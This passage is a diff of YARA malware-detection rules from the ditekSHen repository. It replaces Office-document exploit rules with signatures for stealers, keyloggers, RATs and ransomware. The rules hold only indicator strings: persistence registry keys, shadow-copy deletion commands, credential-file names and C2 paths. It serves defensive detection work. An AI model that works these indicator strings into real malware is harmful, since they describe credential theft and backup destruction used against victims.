DITEKSHEN_MALWARE_Win_Bitterrat : FILE +{ + meta: + description = "BitterRAT payload" + author = "ditekSHen" + id = "cccb2102-b78a-59ce-98e6-c702c4bec4d4" + date = "2020-11-06" + modified = "2024-11-01" + reference = "https://github.com/ditekshen/detection" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L532-L551" + license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" + logic_hash = "f9dec388af6ddc767f82d7de7ba47754e76058022e6e55bbafd846ca8655a03b" + score = 75 + quality = 50 + tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.BitterRAT" + + strings: + $s1 = "getfile" fullword wide + $s2 = "getfolder" fullword wide + $s3 = "winmgmts://./root/default:StdRegProv" fullword wide + $s4 = "winlog" fullword wide + $s5 = "winprt" fullword wide + $s6 = "c:\\intel\\" fullword ascii + $s7 = "AXE: #" fullword ascii + $s8 = "Bld: %s.%s.%s" fullword ascii + $s9 = "53656C656374202A2066726F6D2057696E33325F436F6D707574657253797374656D" wide nocase + $pdb1 = "\\28NovDwn\\Release\\28NovDwn.pdb" ascii + $pdb2 = "\\Shellcode\\Release\\Shellcode.pdb" ascii condition: - uint32( 0 ) == 0x74725c7b and filesize < 1500KB and ( $img_clsid or $sub_clsid ) and ( $http_url or $file_url ) + uint16( 0 ) == 0x5a4d and ( 7 of ( $* ) or ( 4 of ( $s* ) and 1 of ( $pdb* ) ) ) } -rule DITEKSHEN_INDICATOR_PUB_MSIEXEC_Remote : FILE +rule DITEKSHEN_MALWARE_Win_Tjkeylogger : FILE { meta: - description = "detects VB-enable Microsoft Publisher files utilizing Microsoft Installer to retrieve remote files and execute them" + description = "TJKeylogger payload" author = "ditekSHen" - id = "518db2bb-174b-54c4-b330-1e8a8e36265d" + id = "6aaa11b2-3734-5538-b593-f5276f3acc72" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L535-L549" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L553-L567" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "be5407e6e6e21e77f6de1d3a378996bfc6ce4326986aa03eb152e772bb495184" + logic_hash = "52d98a6f5a2cfc6717b7097b4e70c1e813851222f9f06ae74be4e5703b0b0dde" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "Microsoft Publisher" ascii - $s2 = "msiexec.exe" ascii - $s3 = "Document_Open" ascii - $s4 = "/norestart" ascii - $s5 = "/i http" ascii - $s6 = "Wscript.Shell" fullword ascii - $s7 = "\\VBE6.DLL#" wide + $s1 = "TJKeyLogger" fullword ascii + $s2 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii + $s3 = "\\Passwords.txt" ascii + $s4 = "TJKeyLogItem" fullword ascii + $s5 = "TJKeyAsyncLog" fullword ascii + $s6 = "FM_GETDSKLST" fullword ascii + $s7 = "KL_GETMODE" fullword ascii condition: - uint16( 0 ) == 0xcfd0 and 6 of them + uint16( 0 ) == 0x5a4d and 5 of them } -rule DITEKSHEN_INDICATOR_RTF_Ancalog_Exploit_Builder_Document : FILE +rule DITEKSHEN_MALWARE_Win_W1RAT : FILE { meta: - description = "Detects documents generated by Phantom Crypter/Ancalog" + description = "W1 RAT payload" author = "ditekSHen" - id = "01e7f949-8ced-5355-978c-34d6e639e61a" + id = "d5841bc0-97e7-575e-91f6-d264f507a8b5" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L551-L563" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L569-L585" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "e458be78ca8975d067110dc38119437b3ffe55afdbfdab47468c9ed74bba9f9d" + logic_hash = "84b9a2e309ed9ab0fb8343d941585356d23348683073d0a37fc7194f58a43a0e" score = 75 quality = 75 tags = "FILE" - snort2_sid = "910000-910001" - snort3_sid = "910000" - clamav_sig = "INDICATOR.RTF.AncalogExploitBuilderDocument" strings: - $builder1 = "{\\*\\ancalog" ascii - $builder2 = "\\ancalog" ascii + $s1 = "/c /Ox /Fa\"%s/%s.asm\" /Fo\"%s/%s.obj\" \"%s/%s.%s\"" ascii + $s2 = "this->piProcInfo.hProcess" fullword ascii + $s3 = "index >= 0 && index < this->reg_tab->GetLen()" fullword ascii + $s4 = "strcpy(log_font.lfFaceName,\"%s\");" fullword ascii + $s5 = "WorkShop -- [%s]" fullword ascii + $s6 = "HeaderFile.cpp" fullword ascii + $s7 = "WndLog.cpp" fullword ascii + $s8 = "assertion fail \"%s\" at file=%s line=%d" fullword ascii + $s9 = "Stdin pipe creation failed" fullword ascii condition: - uint32( 0 ) == 0x74725c7b and 1 of ( $builder* ) + ( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( all of them ) } -rule DITEKSHEN_INDICATOR_RTF_Threadkit_Exploit_Builder_Document : FILE +rule DITEKSHEN_MALWARE_Win_Raccoon : FILE { meta: - description = "Detects vaiations of RTF documents generated by ThreadKit builder." + description = "Raccoon stealer payload" author = "ditekSHen" - id = "f4a4e7f0-ea2f-523f-9634-a939dc90706e" + id = "5ebef663-623c-592e-b69a-f620492f0cc1" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L565-L582" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L587-L606" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f2308ac6ae5345e0c783871dd6b471397ec83ba7194db5cc74c8984d84c2c0c2" + logic_hash = "258481982d20d229506f442a5a205fdc05f6ac4399f3a0665860e6529c30943b" score = 75 quality = 50 tags = "FILE" strings: - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\mmath" ascii - $pat1 = /\\objupdate\\v[\\\s\n\r]/ ascii + $s1 = "inetcomm server passwords" fullword wide + $s2 = "content-disposition: form-data; name=\"file\"; filename=\"data.zip\"" fullword ascii + $s3 = ".?AVfilesystem_error@v1@filesystem@experimental@std@@" fullword ascii + $s4 = "CredEnumerateW" fullword ascii + $s5 = "%[^:]://%[^/]%[^" fullword ascii + $s6 = "%99[^:]://%99[^/]%99[^" fullword ascii + $s7 = "Login Data" wide + $s8 = "m_it.object_iterator != m_object->m_value.object->end()" fullword wide + $x1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide + $x2 = "\\json.hpp" wide + $x3 = "Microsoft_WinInet_" fullword wide + $x4 = "Microsoft_WinInet_*" fullword wide condition: - uint32( 0 ) == 0x74725c7b and 2 of ( $obj* ) and 1 of ( $pat* ) + uint16( 0 ) == 0x5a4d and ( ( 3 of ( $x* ) and 2 of ( $s* ) ) or ( 4 of ( $s* ) and 1 of ( $x* ) ) ) } -rule DITEKSHEN_INDICATOR_XML_Legacydrawing_Autoload_Document : FILE +rule DITEKSHEN_MALWARE_Win_Tefosteal : FILE { meta: - description = "detects AutoLoad documents using LegacyDrawing" + description = "Tefosteal payload" author = "ditekSHen" - id = "ce116601-7048-5a3f-9b73-5127ca3b359e" + id = "56646933-3ed3-5b77-9135-993b57603490" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L584-L594" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L653-L674" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a038636f5e8e7837c2209072f1659b921c8a9a48d4ed153e735915cf1f7f3fcc" + logic_hash = "a350863270cbe3349f271e55d66a2ebdd6406e8d122c11071de74a774eb77ebf" score = 75 - quality = 75 + quality = 71 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Tefosteal" strings: - $s1 = "<legacyDrawing r:id=\"" ascii - $s2 = "<oleObject progId=\"" ascii - $s3 = "autoLoad=\"true\"" ascii + $s1 = "netsh wlan show networks mode=bssid" nocase fullword wide + $s2 = "LoginCredentialService.GetLoginCredentials$" ascii + $s3 = "DefaultLoginCredentials.LoginEventUsrPw$" ascii + $s4 = "SEC_E_NO_KERB_KEY" wide + $s5 = "TList<System.Zip.TZipHeader>." ascii + $s6 = "_Password.txt" fullword wide nocase + $s7 = "_Cookies.txt" fullword wide nocase + $f1 = "\\InfoPC\\BSSID.txt" wide + $f2 = "\\Files\\Telegram\\" wide + $f3 = "\\InfoPC\\Screenshot.png" wide + $f4 = "\\InfoPC\\Systeminfo.txt" wide + $f5 = "\\Steam\\config" wide + $f6 = "\\delete.vbs" wide condition: - uint32( 0 ) == 0x6d783f3c and all of ( $s* ) + uint16( 0 ) == 0x5a4d and 4 of ( $s* ) and 2 of ( $f* ) } -rule DITEKSHEN_INDICATOR_XML_OLE_Autoload_Document : FILE +rule DITEKSHEN_MALWARE_Win_Cryptostealergo : FILE { meta: - description = "detects AutoLoad documents using OLE Object" + description = "CryptoStealerGo payload" author = "ditekSHen" - id = "b3d682c3-641a-554a-8607-e99d07e9a57d" + id = "83886aeb-af7e-564c-989a-fb7d955814e2" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L596-L606" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L676-L692" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "b262a9f8e82dea55afc26acac731827b64f52069a2bf314f716832b3dfc2c04f" + logic_hash = "0050be7522e7d89cb9688e63fdca11d24baa74aa858e8c19ee7b4658518536b6" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "autoLoad=\"true\"" ascii - $s2 = "/relationships/oleObject\"" ascii - $s3 = "Target=\"../embeddings/oleObject" ascii + $s1 = "Go build ID: \"" ascii + $s2 = "file_upload.go" ascii + $s3 = "grequests.FileUpload" ascii + $s4 = "runtime.newproc" ascii + $s5 = "credit_cards" ascii + $s6 = "zip.(*fileWriter).Write" ascii + $s7 = "autofill_" ascii + $s8 = "XFxVc2VyIERhdGFcXA==" ascii + $s9 = "XFxBcHBEYXRhXFxMb2NhbFxc" ascii condition: - uint32( 0 ) == 0x6d783f3c and all of ( $s* ) + uint16( 0 ) == 0x5a4d and 8 of them } -rule DITEKSHEN_INDICATOR_XML_Squiblydoo_1 : FILE +rule DITEKSHEN_MALWARE_Win_M00Nd3V : FILE { meta: - description = "detects Squiblydoo variants extracted from exploit RTF documents." + description = "M00nD3v keylogger payload" author = "ditekSHen" - id = "cac326ab-cc31-59c1-bd12-285db1675695" + id = "4000f55d-e072-50b6-b6ee-72cefc0ec53f" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L608-L622" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L694-L715" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "b52ebd76dd4e60f6bd5cb19fed3a72b6aeb90dea95f0d1be61dcfff39ea674ae" + logic_hash = "68a0888da3b114dc895fe18a3d03b2b88d140fbf82b888f7a031b9364d01aabf" score = 75 quality = 75 tags = "FILE" strings: - $slt = "<scriptlet" ascii - $ws1 = "CreateObject(\"WScript\" & \".Shell\")" ascii - $ws2 = "CreateObject(\"WScript.Shell\")" ascii - $ws3 = "ActivexObject(\"WScript.Shell\")" ascii - $r1 = "[\"run\"]" nocase ascii - $r2 = ".run \"cmd" nocase ascii - $r3 = ".run chr(" nocase ascii + $s1 = "M00nD3v Stub" ascii wide + $s2 = "M00nD3v{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" fullword wide + $s3 = "Anti-Keylogger Elite" wide + $s4 = "/C TASKKILL /F /IM" wide + $s5 = "echo.>{0}:Zone.Identifier" fullword wide + $s6 = "> Nul & Del \"{0}\" & start \"\" \"{1}.exe\"" wide + $s7 = "> Nul & start \"\" \"{1}.exe\"" wide + $s8 = "Stealer" fullword wide + $s9 = "{0}{0}++++++++++++{1} {2}++++++++++++{0}{0}" wide + $s10 = "{4}Application: {3}{4}URL: {0}{4}Username: {1}{4}Password: {2}{4}" wide + $s11 = "encrypted_key\":\"(?<Key>.+?)\"" wide + $s12 = "Botkiller" fullword ascii + $s13 = "AVKiller" fullword ascii + $s14 = "get_pnlPawns" fullword ascii condition: - ( uint32( 0 ) == 0x4d583f3c or uint32( 0 ) == 0x6d783f3c ) and $slt and 1 of ( $ws* ) and 1 of ( $r* ) + ( uint16( 0 ) == 0x5a4d and 6 of them ) or ( 9 of them ) } -rule DITEKSHEN_INDICATOR_OLE_Suspicious_Reverse : FILE +rule DITEKSHEN_MALWARE_Win_Vssdestroy : FILE { meta: - description = "detects OLE documents containing VB scripts with reversed suspicious strings" + description = "VSSDestroy/Matrix ransomware payload" author = "ditekSHen" - id = "a7f4d18d-add6-5df2-9a8c-f88d8e3766da" + id = "734ece56-b993-5b44-ae15-f673fabfe8ad" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L624-L644" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L717-L740" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "04950549eede23b7006103539f20437713a54138c073d9805048392ea0a3df2a" - score = 65 - quality = 71 + logic_hash = "24bfd32580f784440252d629a7ab86b84a570ded34409940616be2a89bf73088" + score = 75 + quality = 75 tags = "FILE" + snort_sid = "920008-920009" + clamav_sig = "MALWARE.Win.Ransomware.VSSDestroy" strings: - $vb = "\\VBE7.DLL" ascii - $cmd1 = "CMD C:\\" nocase ascii - $cmd2 = "CMD /c " nocase ascii - $kw1 = "]rAHC[" nocase ascii - $kw2 = "ekOVNI" nocase ascii - $kw3 = "EcaLPEr" nocase ascii - $kw4 = "TcEJBO-WEn" nocase ascii - $kw5 = "eLbAirav-Teg" nocase ascii - $kw6 = "ReveRSE(" nocase ascii - $kw7 = "-JOIn" nocase ascii + $o1 = "[SHARESSCAN]" wide + $o2 = "[LDRIVESSCAN]" wide + $o3 = "[LOGSAVED]" wide + $o4 = "[LPROGRESS]" wide + $o5 = "[FINISHSAVED]" wide + $o6 = "[ALL_LOCAL_KID]" wide + $o7 = "[DIRSCAN" wide + $o8 = "[GENKEY]" wide + $s1 = "\\cmd.exe" nocase wide + $s2 = "/C powershell \"" nocase wide + $s3 = "%COMPUTERNAME%" wide + $s4 = "%USERNAME%" wide + $s5 = "Error loading Socket interface (ws2_32.dll)!" wide + $s6 = "Old file list dump found. Want to load it? (y/n):" fullword wide condition: - uint16( 0 ) == 0xcfd0 and $vb and ( ( 1 of ( $cmd* ) and 1 of ( $kw* ) ) or ( 2 of ( $kw* ) ) ) + ( uint16( 0 ) == 0x5a4d and 4 of ( $o* ) and 3 of ( $s* ) ) or ( 5 of ( $o* ) and 4 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_OLE_Suspicious_Activex : FILE +rule DITEKSHEN_MALWARE_Win_Goldenaxe : FILE { meta: - description = "detects OLE documents with suspicious ActiveX content" + description = "GoldenAxe ransomware payload" author = "ditekSHen" - id = "e4a74955-8519-561d-bb23-6469e7ae5aaa" + id = "23874106-dbbb-5cb2-b61a-1661d8e2d868" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L646-L676" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L742-L763" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "d9a672b0eeccd93b4ae98fef45560490171f8fc16b712d1e0141fc0ef1d0e342" - score = 65 - quality = 73 + logic_hash = "6dfd88ce65acdfed4749e3b817b317c3c514ea42f892a7f5f95853c148507918" + score = 75 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.GoldenAxe" strings: - $vb = "\\VBE7.DLL" ascii - $ax1 = "_Layout" ascii - $ax2 = "MultiPage1_" ascii - $ax3 = "_MouseMove" ascii - $ax4 = "_MouseHover" ascii - $ax5 = "_MouseLeave" ascii - $ax6 = "_MouseEnter" ascii - $ax7 = "ImageCombo21_Change" ascii - $ax8 = "InkEdit1_GotFocus" ascii - $ax9 = "InkPicture1_" ascii - $ax10 = "SystemMonitor1_" ascii - $ax11 = "WebBrowser1_" ascii - $ax12 = "_Click" ascii - $kw1 = "CreateObject" ascii - $kw2 = "CreateTextFile" ascii - $kw3 = ".SpawnInstance_" ascii - $kw4 = "WScript.Shell" ascii - $kw5 = { 43 68 72 [0-2] 41 73 63 [0-2] 4d 69 64 } - $kw6 = { 43 68 [0-2] 72 24 28 40 24 28 22 26 48 } - $kw7 = { 41 63 74 69 76 65 44 6f 63 75 6d 65 6e 74 } + $s1 = "Go build ID: " ascii + $s2 = "taskkill.exe" ascii + $s3 = "cmd.exe" ascii + $s4 = "Speak.Speak" ascii + $s5 = "CLNTSRVRnull" ascii + $s6 = "-----END" ascii + $s7 = "-----BEGIN" ascii + $s8 = ".EncryptFile" ascii + $g1 = "GoldenAxe/Utils." ascii + $g2 = "GoldenAxe/Cryptography." ascii + $g3 = "GoldenAxe/Walker." ascii + $g4 = "C:/Users/alpha/go/src/GoldenAxe/" ascii + $g5 = "'Golden Axe ransomware'" ascii condition: - uint16( 0 ) == 0xcfd0 and $vb and 1 of ( $ax* ) and 2 of ( $kw* ) + uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $g* ) and 1 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_OLE_Suspicious_MITRE_T1117 : T1117 FILE +rule DITEKSHEN_MALWARE_Win_Robbinhood : FILE { meta: - description = "Detects MITRE technique T1117 in OLE documents" + description = "Robbinhood ransomware payload" author = "ditekSHen" - id = "0f41b011-2b63-581f-aa10-9560f27d0a27" + id = "a5066a22-3c87-5e9f-a94f-5a44af2f96fd" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L678-L689" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L765-L787" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f0d97f4de8bde18299ee0caee680a15070a1faa99fc318d144a7b7918c8cbb1f" - score = 50 - quality = 45 - tags = "T1117, FILE" + logic_hash = "f1c4226ed5cb1583418d5ef0efc2c2b5bc3cfe7f148f359c5d432fd660331a46" + score = 75 + quality = 75 + tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.Robbinhood" strings: - $s1 = "scrobj.dll" ascii nocase - $s2 = "regsvr32" ascii nocase - $s3 = "JyZWdzdnIzMi5leGU" ascii - $s4 = "HNjcm9iai5kbGw" ascii + $go = "Go build ID:" ascii + $cmd1 = "cmd.exe /c" ascii + $cmd2 = "net use * /DELETE" nocase ascii + $cmd3 = "sc.exe stop" ascii + $cmd4 = "vssadmin resize shadowstorage" nocase ascii + $s1 = /Skipping\s(file|dir)/ ascii + $s2 = "Encrypt[ERR] GET Size:" ascii + $s3 = ".taskkilltasklistunknown(" ascii + $s4 = ".sysvssadmin.exewevtutil.exe MB released" ascii + $s5 = ".sysvssadmin.exewevtutil.exewinlogin.exewinlogon.exe MB released" ascii + $s6 = ".enc_robbinhood" ascii + $s7 = "c:\\windows\\temp\\pub.key" nocase ascii + $s8 = "main.CoolMaker" ascii + $s9 = "/valery/go/src/oldboy/" ascii condition: - uint16( 0 ) == 0xcfd0 and 2 of them + uint16( 0 ) == 0x5a4d and ( $go and 1 of ( $cmd* ) and 3 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_OLE_Remotetemplate +rule DITEKSHEN_MALWARE_Win_Getcrypt : FILE { meta: - description = "Detects XML relations where an OLE object is refrencing an external target in dropper OOXML documents" + description = "GetCrypt ransomware payload" author = "ditekSHen" - id = "fbf40436-fc0a-5e55-89ac-5e1dd93e1833" + id = "fb6db807-372f-59e6-96c6-54dd4ece336d" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L691-L702" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L789-L825" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "80cc5b1a8a8899f632401956055374d265c734449e56ffeee5f0ba4911050f36" + logic_hash = "fd7ee98757c3ac1f2b2a4dd9041c78d33273d7a7d596c3d99c6b8d79988f29f1" score = 75 - quality = 75 - tags = "" + quality = 73 + tags = "FILE" + clamav_sig1 = "MALWARE_Win.Ransomware.GetCrypt-1" + clamav_sig2 = "MALWARE_Win.Ransomware.GetCrypt-2" strings: - $olerel = "relationships/oleObject" ascii - $target1 = "Target=\"http" ascii - $target2 = "Target=\"file" ascii - $mode = "TargetMode=\"External" ascii + $x1 = "delete shadows /all /quiet" wide + $x2 = "C:\\Windows\\System32\\svchost.exe" fullword wide + $x3 = "desk.bmp" fullword wide + $x4 = ":\\Boot" fullword wide + $x5 = "\\encrypted_key.bin" fullword wide + $x6 = "vssadmin.exe" fullword wide + $x7 = ":\\Recovery" fullword wide + $s1 = "CryptEncrypt" fullword ascii + $s2 = "NtWow64ReadVirtualMemory64" fullword ascii + $s3 = "MPR.dll" fullword ascii + $s4 = "%key%" fullword ascii + $s5 = "CryptDestroyKey" fullword ascii + $s6 = "ntdll.dll" fullword ascii + $s7 = "WNetCancelConnection2W" fullword ascii + $s8 = ".%c%c%c%c" fullword wide + $s10 = { 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 00 00 + cb 00 43 72 79 70 74 45 6e 63 72 79 70 74 00 00 + c1 00 43 72 79 70 74 41 63 71 75 69 72 65 43 6f + 6e 74 65 78 74 41 00 00 c8 00 43 72 79 70 74 44 + 65 73 74 72 6f 79 4b 65 79 00 d2 00 43 72 79 70 + 74 47 65 6e 52 61 6e 64 6f 6d 00 00 c2 00 43 72 + 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 + 74 57 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c + 00 00 b5 01 53 68 65 6c 6c 45 78 65 63 75 74 65 + 45 78 57 00 53 48 45 4c 4c 33 32 2e 64 6c 6c 00 } condition: - $olerel and $mode and 1 of ( $target* ) + uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or 8 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_RTF_Malver_Objects : FILE +rule DITEKSHEN_MALWARE_Joego : FILE { meta: - description = "Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents." + description = "JoeGo ransomware payload" author = "ditekSHen" - id = "2d9d80e0-473e-5aac-a576-8f0002e120e2" + id = "23d38bcd-e66d-5ff1-ad6a-3e6432d83562" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L704-L718" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L827-L847" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "69136fb8ba180f6f86e569471bcefe8f55c61af73c66ebd6062ba7369aee9a72" + logic_hash = "3ddf3506aefb3cd1845f9daa689848a02a2422ca98c5c984bc918cc7ea2b2677" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.JoeGo" strings: - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii + $go = "Go build ID:" ascii + $s1 = "%SystemRoot%\\system32\\%v." ascii + $s2 = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V" ascii + $s3 = "/t REG_SZ /F /D %userprofile%\\" ascii + $s4 = "(sensitive) [recovered]" ascii + $s5 = "/dev/stderr/dev/stdout/index.html" ascii + $s6 = "%userprofile%\\SystemApps" ascii + $s7 = "p=<br>ACDTACSTAEDTAESTAKDTAKSTAWSTA" ascii + $cnc1 = "/detail.php" ascii + $cnc2 = "/checkin.php" ascii + $cnc3 = "/platebni_brana.php" ascii + $cnc4 = "://nebezpecnyweb.eu/" ascii condition: - uint32( 0 ) == 0x74725c7b and ( ( not uint8( 4 ) == 0x66 or not uint8( 5 ) == 0x31 or not uint8( 6 ) == 0x5c ) and 1 of ( $obj* ) ) + uint16( 0 ) == 0x5a4d and $go and ( all of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $cnc* ) ) ) } -rule DITEKSHEN_INDICATOR_PPT_Mastermana : FILE +rule DITEKSHEN_MALWARE_Win_Aurora : FILE { meta: - description = "Detects known malicious pattern (MasterMana) in PowerPoint documents." + description = "Aurora ransomware payload" author = "ditekSHen" - id = "8e9b8185-6211-54c6-946d-b16f2226312a" + id = "d3eafe9c-c8d9-5744-ba5d-4eb0249cceea" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L720-L740" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L849-L869" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f8169e63b22fbbd48de9a63ff228d9d9fb105e95d2ea8a37c0993493515e8b2e" + logic_hash = "056bb11e8b947ef90462503db82b2001e4a5d4847fad9c0d5d771384a80d779a" score = 75 - quality = 71 + quality = 75 tags = "FILE" strings: - $a1 = "auto_close" ascii nocase - $a2 = "autoclose" ascii nocase - $a3 = "auto_open" ascii nocase - $a4 = "autoopen" ascii nocase - $vb1 = "\\VBE7.DLL" ascii - $vb2 = { 41 74 74 72 69 62 75 74 ?? 65 20 56 42 5f 4e 61 6d ?? 65 } - $clsid = "000204EF-0000-0000-C000-000000000046" wide nocase - $i1 = "@j.mp/" ascii wide - $i2 = "j.mp/" ascii wide - $i3 = "\\pm.j\\\\:" ascii wide - $i4 = ".zz.ht/" ascii wide - $i5 = "/pm.j@" ascii wide - $i6 = "\\pm.j@" ascii wide + $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii wide + $s2 = "#DECRYPT_MY_FILES#.txt" fullword ascii + $s3 = "/gen.php?generate=" fullword ascii + $s4 = "geoplugin.net/php.gp" ascii + $s5 = "/end.php?id=" fullword ascii + $s6 = "wotreplay" fullword ascii + $s7 = "moneywell" fullword ascii + $s8 = "{btc}" fullword ascii + $s9 = ".?AV_Locimp@locale@std@@" ascii + $s10 = ".?AV?$codecvt@DDU_Mbstatet@@@std@@" ascii + $s11 = ".?AU_Crt_new_delete@std@@" ascii + $pdb1 = "\\z0ddak\\Desktop\\source\\Release\\Ransom.pdb" ascii + $pdb2 = "\\Desktop\\source\\Release\\Ransom.pdb" ascii condition: - uint16( 0 ) == 0xcfd0 and 1 of ( $i* ) and $clsid and 1 of ( $a* ) and 1 of ( $vb* ) + uint16( 0 ) == 0x5a4d and ( ( 1 of ( $pdb* ) and 5 of ( $s* ) ) or ( 8 of them ) ) } -rule DITEKSHEN_INDICATOR_XML_Webrelframe_Remotetemplate : FILE +rule 